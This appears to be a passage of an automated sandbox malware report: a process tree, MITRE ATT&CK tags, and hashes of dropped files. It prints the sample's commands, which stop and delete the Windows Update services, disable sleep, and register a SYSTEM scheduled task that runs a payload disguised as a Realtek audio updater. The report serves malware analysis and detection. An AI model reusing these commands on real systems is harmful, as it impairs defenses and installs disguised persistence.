- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3472
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1856
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2612
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2160
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:3172
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4136
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:792
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:2052
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2344
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:3152
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ghggx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Realtek' /tr '''C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Realtek' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Realtek" /t REG_SZ /f /d 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3992
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe sboqxcyz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:4436
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4452
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:3608
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:3908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffa45314f50,0x7ffa45314f60,0x7ffa45314f70
    3⤵
    PID:3576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1684 /prefetch:2
    3⤵
    PID:4916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2028 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2292 /prefetch:8
    3⤵
    PID:2696
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2964 /prefetch:1
    3⤵
    PID:1860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3156 /prefetch:1
    3⤵
    PID:3872
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3848 /prefetch:1
    3⤵
    PID:408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4472 /prefetch:8
    3⤵
    PID:1168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4476 /prefetch:8
    3⤵
    PID:4824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4596 /prefetch:8
    3⤵
    PID:2144
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4936 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5260 /prefetch:8
    3⤵
    PID:752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4832 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4872 /prefetch:8
    3⤵
    PID:980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5280 /prefetch:8
    3⤵
    PID:2292
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5340 /prefetch:8
    3⤵
    PID:380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4544 /prefetch:1
    3⤵
    PID:2516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5232 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5204 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=244 /prefetch:8
    3⤵
    PID:2820
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4540 /prefetch:8
    3⤵
    PID:2600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2404 /prefetch:8
    3⤵
    PID:2700
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4712 /prefetch:8
    3⤵
    PID:2560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4796 /prefetch:8
    3⤵
    PID:4580
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2556 /prefetch:8
    3⤵
    PID:4372
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4736 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4956
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5368 /prefetch:8
    3⤵
    PID:2124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2840 /prefetch:8
    3⤵
    PID:1836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5548 /prefetch:8
    3⤵
    PID:4296
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2780 /prefetch:8
    3⤵
    PID:3752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5432 /prefetch:8
    3⤵
    PID:3920
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5508 /prefetch:8
    3⤵
    PID:4428
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4696 /prefetch:8
    3⤵
    PID:2628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5412 /prefetch:8
    3⤵
    PID:4240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5652 /prefetch:8
    3⤵
    PID:3424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5388 /prefetch:8
    3⤵
    PID:2200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5300 /prefetch:8
    3⤵
    PID:2624
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2840 /prefetch:8
    3⤵
    PID:5052
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1624,12862428480808048369,4114326439575526221,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2148 /prefetch:2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:380

C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe
"C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4960

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2636

C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"
1⤵
- Drops file in Program Files directory
PID:4796
- C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir4796_1452131574\ChromeRecovery.exe
  "C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir4796_1452131574\ChromeRecovery.exe" --appguid={8A69D345-D564-463c-AFF1-A69D9E530F96} --browser-version=89.0.4389.114 --sessionid={c0492475-527b-43d4-bb4a-727a359f823d} --system
  2⤵
  - Executes dropped EXE
  PID:2456

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir4796_1452131574\ChromeRecovery.exe

Filesize
253KB

MD5
49ac3c96d270702a27b4895e4ce1f42a

SHA1
55b90405f1e1b72143c64113e8bc65608dd3fd76

SHA256
82aa3fd6a25cda9e16689cfadea175091be010cecae537e517f392e0bef5ba0f

SHA512
b62f6501cb4c992d42d9097e356805c88ac4ac5a46ead4a8eee9f8cbae197b2305da8aab5b4a61891fe73951588025f2d642c32524b360687993f98c913138a0

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe

Filesize
1.6MB

MD5
df5269f4c185bc0bb9cbee52ae862ec0

SHA1
9638ce72d4320a9ee2beb90f586ce797af81699b

SHA256
8dac33dc7e701cfd6344a03ed4275051f74f1b9377e9f03d6df81c6f1610b13d

SHA512
fb14b664b22a589142fec40ff34dd74e878da74ca9bff3820e7231071ef80c1adf811a65de6183ad9cfffe822a3a9eea0b13a88b737a6f268271cb9f1c19088b

Download Submit
C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe

Filesize
1.6MB

MD5
df5269f4c185bc0bb9cbee52ae862ec0

SHA1
9638ce72d4320a9ee2beb90f586ce797af81699b

SHA256
8dac33dc7e701cfd6344a03ed4275051f74f1b9377e9f03d6df81c6f1610b13d

SHA512
fb14b664b22a589142fec40ff34dd74e878da74ca9bff3820e7231071ef80c1adf811a65de6183ad9cfffe822a3a9eea0b13a88b737a6f268271cb9f1c19088b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\RecoveryImproved\1.3.36.141\Recovery.crx3

Filesize
141KB

MD5
ea1c1ffd3ea54d1fb117bfdbb3569c60

SHA1
10958b0f690ae8f5240e1528b1ccffff28a33272

SHA256
7c3a6a7d16ac44c3200f572a764bce7d8fa84b9572dd028b15c59bdccbc0a77d

SHA512
6c30728cac9eac53f0b27b7dbe2222da83225c3b63617d6b271a6cfedf18e8f0a8dffa1053e1cbc4c5e16625f4bbc0d03aa306a946c9d72faa4ceb779f8ffcaf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7661d0b4dc733b10a8f401452d63128d

SHA1
b374bb6f3860ac70574f282738c7f456fbe2c33d

SHA256
f6f4442564ab77163d4d1ffffc74c3d714102979ee9e075c5235174c6e5761db

SHA512
788fad8d0684cccc776c41203df09335977cc67ed2e58c6d785eef9d38a33c1fa30d64360a88ff3d4603fa8dfe0f080e2279987c1e556db53d2bb8a38c047d0d

Download Submit
C:\Users\Admin\AppData\Roaming\conhost_8.exe

Filesize
1.6MB

MD5
df5269f4c185bc0bb9cbee52ae862ec0

SHA1
9638ce72d4320a9ee2beb90f586ce797af81699b

SHA256
8dac33dc7e701cfd6344a03ed4275051f74f1b9377e9f03d6df81c6f1610b13d

SHA512
fb14b664b22a589142fec40ff34dd74e878da74ca9bff3820e7231071ef80c1adf811a65de6183ad9cfffe822a3a9eea0b13a88b737a6f268271cb9f1c19088b

Download Submit
C:\Users\Admin\AppData\Roaming\conhost_8.exe

Filesize
1.6MB

MD5
df5269f4c185bc0bb9cbee52ae862ec0

SHA1
9638ce72d4320a9ee2beb90f586ce797af81699b

SHA256
8dac33dc7e701cfd6344a03ed4275051f74f1b9377e9f03d6df81c6f1610b13d

SHA512
fb14b664b22a589142fec40ff34dd74e878da74ca9bff3820e7231071ef80c1adf811a65de6183ad9cfffe822a3a9eea0b13a88b737a6f268271cb9f1c19088b

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/2304-164-0x00007FFA44290000-0x00007FFA44D51000-memory.dmp

Filesize
10.8MB

Download
memory/2304-162-0x00007FFA44290000-0x00007FFA44D51000-memory.dmp

Filesize
10.8MB

Download
memory/3464-166-0x00000207EC710000-0x00000207EC72C000-memory.dmp

Filesize
112KB

Download
memory/3464-174-0x00007FFA44290000-0x00007FFA44D51000-memory.dmp

Filesize
10.8MB

Download
memory/3464-167-0x00000207EC7F0000-0x00000207EC7FA000-memory.dmp

Filesize
40KB

Download
memory/3464-168-0x00000207EC960000-0x00000207EC97C000-memory.dmp

Filesize
112KB

Download
memory/3464-169-0x00000207EC940000-0x00000207EC94A000-memory.dmp

Filesize
40KB

Download
memory/3464-170-0x00000207ED360000-0x00000207ED37A000-memory.dmp

Filesize
104KB

Download
memory/3464-171-0x00000207EC950000-0x00000207EC958000-memory.dmp

Filesize
32KB

Download
memory/3464-172-0x00000207EC980000-0x00000207EC986000-memory.dmp

Filesize
24KB

Download
memory/3464-173-0x00000207EC990000-0x00000207EC99A000-memory.dmp

Filesize
40KB

Download
memory/3464-165-0x00007FFA44290000-0x00007FFA44D51000-memory.dmp

Filesize
10.8MB

Download
memory/3772-138-0x00000288FDAD0000-0x00000288FDAF2000-memory.dmp

Filesize
136KB

Download
memory/3772-139-0x00007FFA44170000-0x00007FFA44C31000-memory.dmp

Filesize
10.8MB

Download
memory/3772-140-0x00007FFA44170000-0x00007FFA44C31000-memory.dmp

Filesize
10.8MB

Download
memory/3992-193-0x000001CB5D669000-0x000001CB5D66F000-memory.dmp

Filesize
24KB

Download
memory/3992-192-0x00007FFA44290000-0x00007FFA44D51000-memory.dmp

Filesize
10.8MB

Download
memory/3992-188-0x00007FFA44290000-0x00007FFA44D51000-memory.dmp

Filesize
10.8MB

Download
memory/4152-133-0x0000000000400000-0x000000000100A000-memory.dmp

Filesize
12.0MB

Download
memory/4152-134-0x000000007FA70000-0x000000007FE41000-memory.dmp

Filesize
3.8MB

Download
memory/4152-137-0x0000000000400000-0x000000000100A000-memory.dmp

Filesize
12.0MB

Download
memory/4152-132-0x0000000000400000-0x000000000100A000-memory.dmp

Filesize
12.0MB

Download
memory/5080-158-0x00007FFA44170000-0x00007FFA44C31000-memory.dmp

Filesize
10.8MB

Download
memory/5080-154-0x00007FFA44170000-0x00007FFA44C31000-memory.dmp

Filesize
10.8MB

Download